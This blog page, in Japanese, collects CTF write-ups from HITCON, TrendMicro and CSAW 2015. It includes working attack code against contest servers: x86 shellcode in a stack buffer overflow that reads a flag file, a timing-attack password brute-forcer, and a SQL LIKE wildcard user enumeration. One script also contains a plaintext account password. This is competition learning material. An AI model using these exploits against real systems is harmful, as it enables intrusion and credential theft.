脆弱性"&'<<>\ Advent Calendar 2015 1日目
だいたいの箇所は数字として解釈できない文字列だと1
になっていたけど、1箇所だけ、<meta property="og:url" content="~">
はそのまま出力されていた。
脆弱性"&'<<>\ Advent Calendar 2015 1日目
だいたいの箇所は数字として解釈できない文字列だと1
になっていたけど、1箇所だけ、<meta property="og:url" content="~">
はそのまま出力されていた。
HITCON CTF 2015の予選にチームfuzzi3のメンバーとして参加して1問だけ解いた。
問題サーバーに整数x
を投げると、x^flag mod p
を返してくる。p
は、
p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723
p-1
を素因数分解すると、
p-1 = 2 * 3^336 * 4759647095086827597559114855685975263112106458932414012998147177848303887783492510354911068366203455488902018600593880874117783509946030773587965941
となる。(msieveにp-1
をそのまま指定したらなぜか値が化けたので、(p-1)/2
を計算して渡した。何故だろう?)
指数の底を任意に指定できる場合、位数の小さな底を渡すと逆算が可能になるという問題がある。例えば、p-1
の位数は2((p-1)^2=1
となる)ので、x=p-1
とすると、x^flag
の値はflag
が偶数ならば1、奇数ならばp-1
となる。同様に、位数がk
の整数を底に指定すると、k
が総当たり可能な程度に小さければ、flag mod k
の値が分かる。
位数k
を持つ底が存在する条件は、p-1
が約数にk
を持つこと。この問題の場合は、k = 2, 3, 6, 9, …
などに対して、flag mod k
の値が分かる。最初は中国人の剰余定理を使うのかなと思い、小さな素因数が2と3しかないので、法が互いに素という中国人の剰余定理の条件を満たさなあと悩んでいた。よくよく考えてみると、flag mod 3^k
の値が分かっているときに、flag mod 3^(k+1)
の値を求めるのは簡単だった。
位数がk
の底の値(k乗根)は、離散対数などと違って大きな数字に対しても計算できるらしい。計算方法は分からないが、PARI/GPを使ったら出てきた。
(00:02) gp > p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723 %3 = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723 (00:02) gp > for (i=0, 336, sqrtn(Mod(1,p), 3^i, &z); print(z)) 1 Mod(104014548352862869844938168699037346159667005020653232215280909315013887004134868071692786470598745196869723476863259041566021786143181633190908349324551845723794609926567304576385405504723391936863098403039412007235326783702521959959990403821231826220564014204004925465542563989453628264120514916708791295289, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723) Mod(184652117342066002125654235724672107296479548524944232819111563903191006442841910870258588328187042859006937684077703029415354169137811839089174205147468046219075692488717893872876980963114118329358013489256502574078197180921037431791591430810377557558530731446903392174481754139833226637153091225821181459427, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723) Mod(184703592399630395992436694563840651821345959648882665358650769365293715003098677483460150685414076439977481202237026725692730858348800757738575025587940041796479236394368440075581490376984436883703286883100998351356645756513111907638957133347344001275568620875776030118946807467426690617366314494522903230861, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723) Mod(110911870833244863188457786643721493610784303513579129522393811396028723726659740858323669743224481525481653274103693005011435072682119191684346088511737934950819776631108869567490910585606931573400726494033281267128656345029354355593639402681259953259490212087559197723833793933264120796188614403292964375754, 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723) :
下記のコードで、x=3^k
に対してのflag mod x
が手に入る。前半のSHA-1の計算はブルートフォース防止の問題を解くため。
p = 195589859419604305972182309315916027436941011486827038011731627454673222943892428912238183097741291556130905026403820602489277325267966860236965344971798765628107804393049178848883490619438682809554522593445569865108465536075671326806730534242861732627383004696136244305728794347161769919436748766859796527723 p3 = [1, 104014548352862869844938168699037346159667005020653232215280909315013887004134868071692786470598745196869723476863259041566021786143181633190908349324551845723794609926567304576385405504723391936863098403039412007235326783702521959959990403821231826220564014204004925465542563989453628264120514916708791295289, 60596460703939283816039205007643327134157148193137267625175827451053986819941320545425174147667596081382708012312681744811027758187030913123958296233100508255282449193369626634505358810006112813774496917212618041107392205938556674774459583844872217984025489695097001179157787176195328504655348838631849663942, 10441323002096004510770587886741164350611625346463303011098537719084211549367934812572712892322805795870488891233845379359846218253172487403746893055076258863370778801037982921324392236506419913883778765063307635117884863379930809028657037691697264628883957391135108525171201634495578625408183792572214453266, : ] from socket import * from time import * from hashlib import * s = socket(AF_INET, SOCK_STREAM) s.connect(("52.69.244.164", 9003)) sleep(1) t = s.recv(1024) print t prefix = t[99:99+11].replace(" ","").decode("hex") try: for a in range(32,256): for b in range(32,256): for c in range(32,256): for d in range(32,256): w = prefix+chr(a)+chr(b)+chr(c)+chr(d) if sha1(w).hexdigest()[:6]=="000000": raise except: pass for i in range(len(p3)): s.send("%s\n"%p3[i]) sleep(0.1) print "<%s>"%i, s.recv(10240)
あとは、返ってきた値からflag
を求めれば良い。
flag = 0 for i in range(1,len(p3)): for j in range(3): if pow(root3[i], flag+j*3**(i-1), p) == res[i]: flag += j*3**(i-1) print flag print ("%x"%flag).decode("hex")
hitcon{CBRT_cbrt_Cbrt_CbRt_cBrT_cBRT_RePeAt......}
TrendMicro主催の初のコンテスト。superflipは15位。Windowsバイナリとプログラミングが多くて私好みだった。
サインアップとログインするだけのサイト。ログインするとuserというセッションキーが設定される。
掴み所が分からなかったけど、セッションキーが現在の秒数から決まっていて同時にログインすると同じセッションキーになってしまう。 毎分1秒にUserID 1がログインしているので、同じタイミングでログインすれば良いだけ。
その発想は無かった……という感じなのだけど、何となくリアリティを感じる。実際にあった問題なのだろうか。
Welcome TMCTF{ad70c0b2a1d07792a310b2349cab8890}
ウイルスを10000000匹倒さないといけないAndroidアプリ。
dex2jarとjd-guiで解析したところ、あちこちで少しずつ文字列を組み立て、Base64で復号してフラグとして表示しているらしい。
9uZ2dnZ3JhdHNfMTBNQ2xpY2tz
かな? → \x00\x0fnggggrats_10MClicks
。惜しいので前半を推測して投稿したら正解した。
TMCTF{Congrats_10MClicks}
占いとご意見投稿があるだけのサイト。全く分からない。
ヒントが76343947ada960b6269090638f5391068daee88d
。CVE-2015-0291の修正のコミットID。Exploitがあったら試してみようと思ったけど、見つからなかったので終了。
libcrypto.so.1.0.0が無くて動かない。libcrypto.so.1.0.1eをコピーしてみたけど、OPENSSL_1.0.0
が無いと言われてダメ。しょうがないので、プログラムを読んだ。鍵もIVも/tmp/...,,,...,,
で、プログラムの0x5000バイト名以降をAES-128-CBCで復号し出てきたファイルを実行。
出てきたファイルもlibcrypto.so.1.0.0が必要なのでプログラムを読んだ。自身の0x500-0x57fのMD5ハッシュを出力。何かファイルサイズ+0x500バイトとかのメモリを確保している気がするのだけど、なぜだろう?
TMCTF{ce5d8bb4d5efe86d25098bec300d6954}
WindowsのRAT。PC名がTMCTF2015-PC
だと動く。http://ctfquest.trendmicro.co.jp:13106/126ac9f6149081eb0e97c2e939eaad52/top.html
に繋ぎに行く。単なる日記サイトのようだけど接続先が暗号化されて書かれている。localhost|8888
だけど、このサイト中にはctfquest.trendmicro.co.jp|19400
も書かれている。User-AgentをTMCTF2015-13106
にする必要があり、Cookieに暗号化した指示を書き込む。
色々試行錯誤して解けたので良く分かっていないけど、localhostにg1v3m3k3y=0
で繋ぎにくるので、ctfquestにg1v3m3k3y=1
で繋ぐとファイルが降ってきて、localhostからこのファイルを返すとkey.binが出力された。処理の分岐を弄って、0x4b
のところを0x54
に対応する処理に飛ばしたら、key.binを読み込んで、復号し始めた。
TMCTF{MV8zXzFfMF82XzRfNV80XyhfMg==}
Poison Ivyの通信の解析。時間が無くて取り組んでいない。
自己解凍書庫っぽいのに実行しても動かないから、解凍ソフトで解凍したら、Windowsのイベントログが大量に出てきた。
壊れたPDFの復号。PDFのフォーマットを良く分かっていないが、0x78
から始まるzlib圧縮っぽい部分がいくつかあって、そのうちの一つにBase64エンコードされたJpeg画像が含まれているXMLがあり、フラグが書いてあった。
TMCTF{There is always light behind the clouds.}
アスキーアートの動画が流れる。30時から33時くらいまで取り組んでいたのに解けなくて悔しい。ヒント曰く、アスキーアートからPEファイルを抽出できるらしい。良く見ると、0
と1
がやたらとチラチラしている。DrawTextをフックするツールとかありそうだと思って探したけど見つからなかった。デバッガのスクリプトとかで何とかなるかもと思ったけど使ったことがないので無理。しょうがないから、
00459800 33C0 XOR EAX, EAX 00459802 50 PUSH EAX 00459803 50 PUSH EAX 00459804 6A 03 PUSH 3 00459806 50 PUSH EAX 00459807 50 PUSH EAX 00459808 68 00000040 PUSH 40000000 0045980D 68 EC974500 PUSH AsciiArt.004597EC ; ASCII "TrendMicro CTF" 00459812 E8 0DC6FAFF CALL <JMP.&kernel32.CreateFileA> 00459817 50 PUSH EAX 00459818 6A 02 PUSH 2 0045981A 6A 00 PUSH 0 0045981C 6A 00 PUSH 0 0045981E 50 PUSH EAX 0045981F E8 A0C7FAFF CALL <JMP.&kernel32.SetFilePointer> 00459824 58 POP EAX 00459825 50 PUSH EAX 00459826 6A 00 PUSH 0 00459828 68 F0BF4500 PUSH AsciiArt.0045BFF0 0045982D 68 08290000 PUSH 2908 00459832 FF75 E4 PUSH DWORD PTR SS:[EBP-1C] 00459835 50 PUSH EAX 00459836 E8 D979FAFF CALL <JMP.&kernel32.WriteFile> 0045983B E8 CCC5FAFF CALL <JMP.&kernel32.CloseHandle> 00459840 8BC6 MOV EAX, ESI 00459842 68 F1914500 PUSH AsciiArt.004591F1 00459847 ^ E9 B098FAFF JMP AsciiArt.004030FC
こんな処理をプログラム中に埋め込んで、ここに飛ばして抜き取った。同じフレームが何回か出力されているので重複を弾いてみたけど、なぜか1枚足りない。アスキーアートの展開ルーチンを解析するべきだったか……。
Windowsバイナリ。時間が……。
Windowsバイナリ。難読化されているらしい。
Windows DLLファイル。知らんがな(´・ω・`)
256bit RSA。公開鍵がおかしい、失われた1bitは?とか書かれていて、公開鍵が偶数だった。最後のビットを1にしてmsieveにかけたら大きな素数が2個出てきた。あとは以前にやったのと同じ手順で解けた。
TMCTF{$@!zbo4+qt9=5}
CBCモードのAESで、鍵の2文字、IV全部、暗号文の前半1ブロックの9割くらいが潰されている。平文は分かる。この状態でIVを答えよという問題。CBCなので後半のブロックの復号にはIVは要らない。鍵の2文字を変えながら後半を復号して、前半の潰されていない部分とxorを取って、平文と一致すれば良い。これで鍵が分かる。あとは、後半の復号結果と平文から前半の暗号文が分かるので、これと平文の暗号結果のxorがIV。鍵の探索が上手く行かないとおもったら、鍵は英文字だけじゃなかったのか。
from Crypto.Cipher import AES KEY = "5d6I9pfR7C1JQt" for a in [chr(x) for x in range(256)]:#"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789": for b in [chr(x) for x in range(256)]:#"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789": aes = AES.new(KEY+a+b, AES.MODE_ECB) P = aes.decrypt("307df037c689300bbf2812ff89bc0b49".decode("hex")) if ord(P[-2])^0x9e==ord("S") and ord(P[-1])^0xc3==ord("!"): print KEY+a+b KEY = "5d6I9pfR7C1JQt7$" aes = AES.new(KEY, AES.MODE_ECB) P1 = "rotected by AES!" P2 = aes.decrypt("307df037c689300bbf2812ff89bc0b49".decode("hex")) C = "" for i in range(16): C += chr(ord(P1[i])^ord(P2[i])) print C.encode("hex") P = aes.decrypt(C) IV = "" for i in range(16): IV += chr(ord("The message is p"[i])^ord(P[i])) print IV
TMCTF{rVFvN9KLeYr6}
サンプルとして良く使われている暗号鍵を答えていくっぽい。2問目で挫折。
Outlookの暗号メール? 分からん。
解けたけど、意味の分からない問題。アルファベットで構成される2個の異なる文字列をBase64で符号化した場合に、同じ文字が同じ位置に表れることがある。中には出てこない文字もあるので、それを答えよと。
例えば、xABCDEFG
とyABCDEFG
のような文字列を考えれば、この問題は「アルファベットをBase64で符号化した場合に表れる文字列を答えよ」という問題と同じ。Base64は3文字を4文字に対応付けるので、アルファベット3文字くらいなら全列挙できるので何も難しくない。普通、同じ長さの文字列a
とb
が異なるといった場合には、a[i]
とb[i]
が異なるようなi
が少なくとも1個は存在するという意味だけど、全てのi
についてa[i]≠b[i]
が異なるという意味だろうか……とも思ったが、サンプルがそうではない。
from hashlib import * A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" B = "+/=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" S = set() for a in A: for x in a.encode("base64"): S.add(x) for b in A: for x in (a+b).encode("base64"): S.add(x) for c in A: for x in (a+b+c).encode("base64"): S.add(x) ans = "".join(b for b in B if b not in S) print "TMCTF{%s}" % sha1(ans).hexdigest()
で、これを投稿したとはずだけどダメで、色々試していたけど、あとで投稿し直したら通った。試している時点では問題の修正(文字数が3で割りきれない場合の考慮漏れ?)が入った後だったのだけど……。謎。
SHA1の計算でポカをした可能性もある。TMCTF{+/7f}
がフラグではダメだったのだろうか。
TMCTF{67569763552b4e9b8ac950be0d25f446f8470c60}
色の違う正方形をクリックするゲーム。途中まで人力でやっていたけど、諦めた。最後のほうは1pxの点が並んでいるので諦めて正解だった。
from urllib import * from re import * import Image from collections import * url = "http://ctfquest.trendmicro.co.jp:43210/click_on_the_different_color" while True: html = urlopen(url).read() print html m = search(r"img/([0-9a-f]{44,44})\.png", html) hash = m.group(1) png = urlopen("http://ctfquest.trendmicro.co.jp:43210/img/%s.png"%hash).read() open("%s.png"%hash, "wb").write(png) img = Image.open("%s.png"%hash) w = img.size[1] h = img.size[0] d = img.getdata() C = defaultdict(int) for i in range(w*h): if d[i]!=(255,255,255): C[d[i]] += 1 mc = 0 mn = w*h for c in C: if C[c]<mn: mn = C[c] mc = c for i in range(w*h): if d[i]==mc: x = i%w y = i/w break print "x,y:",x,y url = "http://ctfquest.trendmicro.co.jp:43210/%s?x=%s&y=%s"%(hash,x,y)
The flag is TMCTF{U must have R0807 3Y3s!}
与えられた数式に回答していく、計算は四則演算だけなのでevalに突っ込めば良いけど、数値にカンマが入ったり、ローマ数字になったり、英語表記(one hundred ninety nine thousand, fifty nineとか)になったりする。最初は真面目に解析するのが面倒で、プログラムが解析できなかったら人間に投げていたけど、タイムアウトになるので結局ちゃんとプログラムで実装した。
from socket import * from time import * s = socket(AF_INET, SOCK_STREAM) s.connect(("ctfquest.trendmicro.co.jp", 51740)) T = [""]*1001 T[0] = "zero" T[1] = "one" T[2] = "two" T[3] = "three" T[4] = "four" T[5] = "five" T[6] = "six" T[7] = "seven" T[8] = "eight" T[9] = "nine" T[10] = "ten" T[11] = "eleven" T[12] = "twelve" T[13] = "thirteen" T[14] = "fourteen" T[15] = "fifteen" T[16] = "sixteen" T[17] = "seventeen" T[18] = "eighteen" T[19] = "nineteen" T[20] = "twenty" T[30] = "thirty" T[40] = "forty" T[50] = "fifty" T[60] = "sixty" T[70] = "seventy" T[80] = "eighty" T[90] = "ninety" for i in range(20,100,10): for j in range(1,10): T[i+j] = T[i]+" "+T[j] for i in range(100,1001): T[i] = T[i/100] + " hundred" if i%100!=0: T[i] += " "+T[i%100] def fix(t): for i in range(len(T)): if T[i]==t: return str(i) if any((c in t) for c in "IVXLCDM"): t = t.replace("IV", "IIII") t = t.replace("IX", "VIIII") t = t.replace("XL", "XXXX") t = t.replace("XC", "LXXXX") t = t.replace("CD", "CCCC") t = t.replace("CM", "DCCCC") return str( t.count("I") + t.count("V")*5 + t.count("X")*10 + t.count("L")*50 + t.count("C")*100 + t.count("D")*500 + t.count("M")*1000) if len(t)==1: return t t = t.replace(",","") if all(c in "0123456789" for c in t): return t if " billion " in t: a = t.split(" billion ") return str(int(fix(a[0]))*1000000000+int(fix(a[1]))) if " million " in t: a = t.split(" million ") return str(int(fix(a[0]))*1000000+int(fix(a[1]))) if " thousand " in t: a = t.split(" thousand ") return str(int(fix(a[0]))*1000+int(fix(a[1]))) print t+"?" return raw_input() def solve(q): X = q.split() T = [] for i in range(len(X)): if 0<i and (X[i-1][-1].isalpha() or X[i-1][-1]==",") and X[i][0].isalpha(): T[-1] += " "+X[i] else: T += [X[i]] return eval("".join(fix(t) for t in T)) c = 0 while True: q = s.recv(1000) print c,q a = solve(q[:-2]) s.send(str(a)+"\n") c += 1
The flag is TMCTF{U D1D 17!}
迷路を解く問題。体力に制限があり、途中に通過しなければならないチェックポイントがいくつかと、通過すると体力を回復できるエネルギードリンクがある。
まじめに解くとなると面倒そうだけど、一番近いチェックポイントに向かい、エネルギードリンクは無視するだけで、体力が足りた。Conglaturations! Your final energy is 1104.
def BT(B, W, H, px, py, f): # if f and B[py][px]=="G" or not f and B[py][px] in "EC": if f and B[py][px]=="G" or not f and B[py][px] in "C": return "",(px,py) c = B[py][px] B[py][px] = "X" for d in range(4): tx = px + [0,0,1,-1][d] ty = py + [-1,1,0,0][d] if B[ty][tx]!="#" and B[ty][tx]!="X": a,g = BT(B, W, H, tx, ty, f) if g != (): B[py][px] = c return "UDRL"[d]+a, g B[py][px] = c return "",() def solve(B, W, H): c = 0 for y in range(H): for x in range(W): if B[y][x]=="S": px,py = x,y #if B[y][x]=="E" or B[y][x]=="C": if B[y][x]=="C": c += 1 ans = "" while c>0: a,g = BT(B, W, H, px, py, False) ans += a px,py = g B[py][px] = "." c -= 1 a,g = BT(B, W, H, px, py, True) ans += a return ans for i in range(1001): W,H,N = map(int, raw_input().split()) B = [""]*H for y in range(H): B[y] = list(raw_input()) print solve(B, W, H)
TMCTF{AMAZING_1001_MAZES_lool}
青線の2台のサーバーのIPアドレスが交換できる。AとPのみIPアドレスを交換して、残りはそのままにする最小手順を答えよ。という問題。
一度に動かせるサーバーは2台なので、個々のサーバーの目的の位置との距離の和が残りの手数の2倍より大きければ打ち切りという枝刈りと、元の場所には戻らないという枝刈りで、サーバー台数12台までは解けた。PythonからC++にしたら14台も解けた。あとはそこから法則を探して制約(↓のプログラムのBTの先頭)を加えたけど、これもうちょっと頑張れば一般解になったのではw
#include <vector> #include <algorithm> #include <iostream> #include <string> using namespace std; int N; vector<vector<int>> E; vector<vector<int>> D; vector<int> S; vector<int> G; vector<int> GP; string ans; bool BT(int p, int c, int d, int t) { if (c==0) return S==G; if (d==N/2+(N/2%2==0?1:0)-2 && p!=2 || d==N/2+(N/2%2==0?1:0) && p!=0 || d==N/2+(N/2%2==0?1:0)+2 && p!=1 || d==N/2+(N/2%2==0?1:0)+4 && p!=2 || c==2 && p!=1 || c==N/2+(N/2%2==0?1:0) && p!=N-1) return false; int f = 0; for (int i=0; i<N; i++) f += D[i][GP[S[i]]]; if (f>c*2) return false; for (int e: E[p]) if (e != t) { swap(S[e], S[p]); ans += char('A'+e); if (BT(e, c-1, d+1, p)) return true; swap(S[e], S[p]); ans.pop_back(); } return false; } int main() { N = 16; for (int i=0; i<N; i++) { vector<int> t; for (int j=i%(N/2)-1; j<=i%(N/2)+1; j++) if (0<=j && j<N/2) t.push_back(i<N/2 ? j+N/2 : j); E.push_back(t); } D = vector<vector<int>>(N, vector<int>(N, 9999)); for (int i=0; i<N; i++) { D[i][i] = 0; for (int e: E[i]) D[i][e] = 1; } for (int i=0; i<N; i++) for (int j=0; j<N; j++) for (int k=0; k<N; k++) D[j][k] = min(D[j][k], D[j][i]+D[i][k]); for (int i=0; i<N; i++) S.push_back(i); G = S; swap(G[0], G[N-1]); GP = vector<int>(N); for (int i=0; i<N; i++) GP[G[i]] = i; for (int i=1; ; i+=2) { cout<<i<<endl; if (BT(N-1, i, 0, -1)) { cout<<ans<<endl; break; } } return 0; }
TMCTF{HOFMDKCJAIBKCJBKDMELCJBKDMELDMFOGNELDMFOGNFOHPGNFMDKBIA}
ブラックジャックでヒットとスタンドそれぞれの勝率を答えよという問題。現在の手札をメモしておけば現実的な時間で解ける。ディラーのバースト確率が書いてあるサイトを見ながらデバッグした。Aが2枚以上あった場合に、1枚を1、もう1枚を11にするというのが抜けていて悩んだ。
C = [0]+[8]*9+[32] P = [1,2] D = [3] for p in P: C[p] -= 1 for d in D: C[d] -= 1 def total(v): n1 = v.count(1) a = sum(v) + n1*10 for i in range(n1): if a-i*10<=21: return a-i*10 return a-n1*10 def dealer(): global D if total(D)>21: return 1. if total(D)>=17: return 1. if total(P)>total(D) else 0. p = 0. n = 0 for i in range(1,11): if C[i]>0: D += [i] C[i] -= 1 p += dealer() * (C[i]+1) n += C[i]+1 D.pop() C[i] += 1 return p/n memo = {} def player(d): global P global memo if total(P)>21: return 0. t = tuple(sorted(P)) if t in memo: return memo[t] ph = dealer() ps = 0. n = 0 for i in range(1,11): if d<=3: print " "*d,i if C[i]>0: P += [i] C[i] -= 1 ps += player(d+1) * (C[i]+1) n += C[i]+1 P.pop() C[i] += 1 memo[t] = max(ph, ps/n) return memo[t] p = player(0) d = dealer() print p print d print "TMCTF{HIT:%.4f:STAND:%.4f}"%(p,d)
TMCTF{HIT:0.5094:STAND:0.3770}
クロスワード。「the company hosting TMCTF」に関する問題がいっぱいあるw
学習型のジャンケンプログラムに30回連続で勝てという問題。プロコンっぽいのに解けなかった。ランダム要素も入っているのでどうしろと……。
CAPTCHA 500問。人力で250問目まで解いたけど、そこで間違えて心が折れた。人力は止めよう、プログラムを書こう。
普通のCAPTCHAと違ってミスが許されないのは辛いけど、位置も文字サイズも完全に固定なので、難しくはない。最初はときどきミスしていたけど、ノイズ部分を周囲の色で埋めたり、位置を微調整したり、サンプリングする画素数を増やしたりしたら通った。
from urllib import * from urllib2 import * from cookielib import * from re import * from PIL import Image from collections import * o = build_opener(HTTPCookieProcessor(CookieJar())) token = search(r'"([0-9a-f]{128,128})"', o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/signin").read()).group(1) o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/signin", urlencode({"username":"kusano_k", "password":"UBaAAYz5ZXZg", "fuel_csrf_token":token})).read() T = {} A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz0123456789" for a in A: f = a if a.islower(): f = "_"+f T[a] = Image.open("temp\\%s.png" % f) for y in range(T[a].size[1]): for x in range(1, T[a].size[0]-1): if T[a].getpixel((x,y))==(255,255,255) and T[a].getpixel((x-1,y))==(0,0,0) and T[a].getpixel((x+1,y))==(0,0,0): T[a].putpixel((x,y), (0,0,0)) print "load" for i in range(500): token = search(r'"([0-9a-f]{128,128})"', o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/challenge").read()).group(1) while True: try: d = o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/image").read() except: continue break open("image\\%04d.png"%i, "wb").write(d) img = Image.open("image\\%04d.png"%i).convert("RGB") C = defaultdict(int) for y in range(img.size[1]): for x in range(img.size[0]): C[img.getpixel((x,y))] += 1 R = sorted([C[c] for c in C])[::-1] for y in range(img.size[1]): for x in range(img.size[0]): if C[img.getpixel((x,y))]==R[1]: img.putpixel((x,y), (0,0,0)) else: img.putpixel((x,y), (255,255,255)) for y in range(img.size[1]): for x in range(1, img.size[0]-1): if img.getpixel((x,y))==(255,255,255) and img.getpixel((x-1,y))==(0,0,0) and img.getpixel((x+1,y))==(0,0,0): img.putpixel((x,y), (0,0,0)) img.save("image\\%04d.png"%i) # img.crop((12, 0, 12+65, 300)).save("image\\%04d.png"%i) ans = "" for i in range(4): cx = [12, 12+66, 12+133, 12+200][i] mc = 0 for a in A: c = 0 for y in range(90,195,2): for x in range(0,65,2): if img.getpixel((cx+x,y))==T[a].getpixel((x,y)): c += 1 if c>mc: mc = c ma = a ans += ma print ans print o.open("http://ctfquest.trendmicro.co.jp:8080/acf2e28903f698eda9bdefc043b6edc3/challenge", urlencode({"captcha":ans, "fuel_csrf_token":token})).read()
TMCTF{217dae3fd34cee799658d4552e37827f}
解いてない。
解いてない。
ぼっちチームsuperflipは1200点で287位(´・ω・`)
gitのディレクトリが残っているので、
git clone http://54.175.3.248:8089/.git/
で手元にファイルを持ってこられる。
新規登録しようとしたときに新規ユーザーかどうかのチェックをSQLのLIKEでしているが、%
のエスケープが抜けているので、%
というユーザー名で登録しようとすると、→ Username: ~~FLAG~~ is not available
と言われて、~~FLAG~~
というユーザーがいることが分かる。
パスワードのチェックで1文字ごとにウエイトを入れているので、タイミング攻撃ができる。パスワードは32文字のはずなのに、10文字目以降実行時間が変わらなくなって悩んだけど、10文字の時点でフラグが表示されていた。時間がかかりすぎるから修正されたのか……。たまにパスワードが一致していなくてもなぜか時間がかかるときがあるので、そこは人力で何とかした。時間がおかしかったら一旦プログラムを止めて、passwordに途中までの値を書き込むとそこから探索できるようにした。あと表示されたフラグに}
が抜けていた。
url = "http://54.175.3.248:8089/premium.php" username = "~~FLAG~~" password = "" from urllib import * from urllib2 import * from time import * for i in range(len(password), 32): ans = "" anst = 0 for c in "0123456789abcdef": p = password+c p += "x"*(32-len(p)) s = time() r = urlopen(Request(url, urlencode({"username":username, "password":p}))).read() print r t = time()-s print c, t if t>anst: ans = c anst = t password += ans print i, password
flag{gr0wth__h4ck!nG!1!1!}
追記
web200は10文字目に"0"があるのでループの条件がPHP仕様によってfalseになるという話 - CSAW CTF 2015 Write-up - kusano_k’s blog : http://t.co/cLbOMlg3Ij #miteru
— 無限につらい (@xrekkusu) 2015, 9月 24
$index = 0; while($hash[$index]){ if ($pass[$index] != $hash[$index]) return false; # Protect against brute force attacks usleep(300000); $index+=1; } return true;
なるほど……。PHP!!!
スタックのアドレスを教えてくれるし、スタックも実行可能で簡単。スタックの途中に入っている浮動小数点がチェックされるので、その同じ値で上書きする必要がある。なぜか、execv('/bin/sh')
が動かなかったので、システムコールを使ってファイル一覧とフラグを取得した。
from socket import * from struct import * from telnetlib import * from time import * s = socket(AF_INET, SOCK_STREAM) s.connect(("54.173.98.115", 1259)) b = s.recv(1000) stack = int(b[-9:-1], 16) print "stack",hex(stack) shell = "a"*0x80 shell += "a5315a4755155040".decode("hex") shell += "0123456789ab" shell += pack("<I", stack+len(shell)+4) shell += ( "83c47f"+ # add esp, 7f # # open(".", 0, 0) # "33c0"+ # xor eax, eax # "b02e"+ # mov al, 2eh # "50"+ # push eax # "33c0"+ # xor eax, eax # "b005"+ # mov al, 5 # "8bdc"+ # mov ebx, esp # "33c9"+ # xor ecx, ecx # "33d2"+ # xor edx, edx # "cd80"+ # int 80h # # getdents(fd, esp, 0x100) # "8bd8"+ # mov ebx, eax # "33c0"+ # xor eax, eax # "b08d"+ # mov al, 8dh # "8bcc"+ # mov ecx, esp # "33d2"+ # xor edx, edx # "fec6"+ # inc dh # "cd80"+ # int 80h # open("flag", 0, 0) "33c0"+ # xor eax, eax "50"+ # push eax, "b8666c6167"# mov eax, 0x67616c66 "50"+ # push eax "33c0"+ # xor eax, eax "b005"+ # mov al, 5 "8bdc"+ # mov ebx, esp "33c9"+ # xor ecx, ecx "33d2"+ # xor edx, edx "cd80"+ # int 80h # read(fd, esp, 0x100) "8bd8"+ # mov ebx, eax "33c0"+ # xor eax, eax "b003"+ # mov al, 3 "8bcc"+ # mov ecx, esp "33d2"+ # xor edx, edx "fec6"+ # inc dh "cd80"+ # int 80h # write(1, esp, 0x100) "33c0"+ # xor eax, eax "b004"+ # mov al, 4 "33db"+ # xor ebx, ebx "43"+ # inc ebx "8bcc"+ # mov ecx, esp "33d2"+ # xor edx, edx "fec6"+ # inc dh "cd80"+ # int 80h "").decode("hex") shell += "\n" s.sendall(shell) sleep(1) print repr(s.recv(1000))
# flag{1_533_y0u_kn0w_y0ur_w4y_4r0und_4_buff3r}
Cryptoの問題はなぜかテキストなのに拡張子が動画。
2進数を文字に直すだけ。
flat{People always make the best exploits.}
置換式暗号。このサイトで解けた。
BUT NO, IT WAS A SHORT CUT TO SOMETHING BIGGER. SOMETHING GRANDER. SOMETHING BEAUTIFUL. WE'VE BEEN FOCUSED ON WHAT'S IN FRONT OF US. BUT WE HAVEN'T BEEN LOOKING AT WHAT'S ABOVE US.
flag{We are fsociety, we are finally free, we are finally awake!}
置換式暗号を行うcgi。暗号化器だけで、平文も暗号文の無いのにどうしろと……と思っていたら、ヒントが追加された。
HINT: If you have the ability to encrypt and decrypt, what do you think the flag is?
対応表が答えだった。この形式どこかでも見た気がする。暗号文ではなく暗号化器が与えられているので、abcdef…
を変換するだけ。
UNHMAQWZIDYPRCJKBGVSLOETXF
画像をテキストエディタで開くと書いてある。
h1d1ng_in_4lm0st_pla1n_sigh7
pcapファイル。通信の中にrot13, Base64, シーザー暗号を繰り返して暗号化するPythonスクリプトがあるので、逆算するスクリプトを書く。素直に書いたら、シーザー暗号の復号部で、
TypeError: character mapping must return integer, None or unicode
と怒られ、末尾の=
を消したら動いたので、手作業で=
を消したり付けたりした。何なんだろう?
